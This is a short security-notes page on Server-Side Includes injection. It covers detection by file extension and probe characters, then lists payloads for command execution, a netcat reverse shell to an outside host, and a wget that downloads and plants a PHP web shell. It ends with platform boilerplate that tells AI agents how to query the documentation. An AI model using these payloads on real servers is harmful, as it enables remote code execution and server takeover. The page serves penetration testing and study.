> For the complete documentation index, see [llms.txt](https://security-notes.gitbook.io/security-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security-notes.gitbook.io/security-notes/web-attacks/ssi.md).

# SSI

## Testing for SSI

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

It is possible to detect SSI vulnerabilities in two ways:

* Presence of webpages with .stm, .shtm or .shtml extension
* Submitting a payload containing the following characters `< ! # = / . " - > and [a-zA-Z0-9]`

## Exploitation

The injection point for the payload can be any parameter of a request such as cookies, headers, url parameters form fields and the name of uploaded files.

```
<!--#exec cmd="<cmd>" -->                        #command execution
<!--#exec cmd="nc -c bash <host> <port>" -->     #reverse shell
<!--#exec cmd="wget http://<path>shell.txt | mv shell.txt shell.php" -->
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://security-notes.gitbook.io/security-notes/web-attacks/ssi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
